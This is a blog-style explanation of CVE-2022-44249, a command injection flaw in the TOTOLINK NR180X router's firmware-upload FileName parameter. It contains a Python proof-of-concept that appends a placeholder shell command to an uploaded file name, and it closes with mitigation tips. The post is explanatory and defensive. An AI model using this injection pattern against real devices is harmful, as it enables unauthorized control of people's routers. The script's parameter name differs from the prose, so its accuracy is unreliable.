CVE-2022-44249 - Explaining TOTOLINK NR180X V9.1.u.6279_B20210910 Command Injection Vulnerability and Exploit

TOTOLINK is a popular provider of networking devices and solutions, boasting a wide array of routers, switches, and other network devices. Their NR180X router, which promises high-speed Wi-Fi connectivity and performance, has been discovered to contain a critical security vulnerability. This vulnerability, classified as CVE-2022-44249, exposes the device to potential command injection attacks.

In this post, we will dive deep into the vulnerability, the affected software version, and its potential exploit. We will provide code snippets, original references, and a detailed explanation to help you better understand the implications of this security flaw.

Vulnerable Software

The vulnerable software in question is TOTOLINK NR180X V9.1.u.6279_B20210910. The specific issue lies in the code handling the FileName parameter in the UploadFirmwareFile function. This function is designed to receive a firmware file and process it so that it can be used for firmware update purposes.

Command Injection Vulnerability

The FileName parameter, which should be used by the UploadFirmwareFile function to define the path and name of the uploaded firmware file, does not properly sanitize user input. This means that an attacker could potentially inject malicious commands within the FileName parameter, which will then be executed as a legitimate command at a system level.

Exploit Details

Below is a sample exploit code snippet that demonstrates how an attacker could exploit the FileName parameter vulnerability:

import requests

target = "http://<target_ip>/cgi-bin/luci";
payload = ";<malicious_command_here>"

# Craft the malicious file name
file_name = f"testfile.txt{payload}"

# Create a dummy file with the malicious file name
with open(file_name, "w") as f:
    pass

# Craft the POST request for firmware upload
data = {
    "Filename": file_name,
    "Upload": "Upload",
    "fileUpload": "",
}

files = {
    "fileUpload": open(file_name, "rb"),
}

# Send the POST request to upload the firmware with the malicious file name
response = requests.post(target, data=data, files=files)

Here, the attacker would replace <target_ip> with the IP address of the vulnerable TOTOLINK NR180X router and <malicious_command_here> with the desired injection command. The exploit code then creates a dummy file with a name that contains this injected malicious command. When the file is uploaded to the router using the /cgi-bin/luci endpoint, the FileName parameter containing the malicious command will be executed during the processing of firmware file upload.

Mitigation Steps and Recommendations

TOTOLINK has not released any firmware updates to mitigate this specific vulnerability yet. However, there are some general best practices you can follow to lessen the chances of this vulnerability being exploited or to minimize the damage if it is:

1. Regularly update your router's firmware to the latest version to ensure any known vulnerabilities are patched. This also includes monitoring vendor announcements for any new security issues and patches.

2. Disable remote management features on your router to prevent potential attackers from accessing your router's configuration interface over the internet.

3. Restrict access to your router's administrative interfaces to trusted devices and networks only, either by using VLANs, IP filtering, or other access control mechanisms.

4. Use a strong, unique password for your router's administrative account to further protect against unauthorized access.

5. As a secondary measure, consider using network segmentation or other network security controls to isolate critical assets and minimize the potential damage resulting from a compromise.

Summary

In conclusion, the CVE-2022-44249 vulnerability in TOTOLINK NR180X V9.1.u.6279_B20210910 poses a significant security risk to the router's users. The vulnerability allows for command injection via the FileName parameter in the UploadFirmwareFile function, potentially giving an attacker unauthorized access to system resources and data. By understanding the details of this vulnerability and adhering to the recommended best practices and mitigation strategies, you can minimize the likelihood of your router being exploited by an attacker.

Original Reference

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44249

- https://nvd.nist.gov/vuln/detail/CVE-2022-44249

Timeline

Published on: 11/23/2022 16:15:00 UTC
Last modified on: 11/26/2022 03:41:00 UTC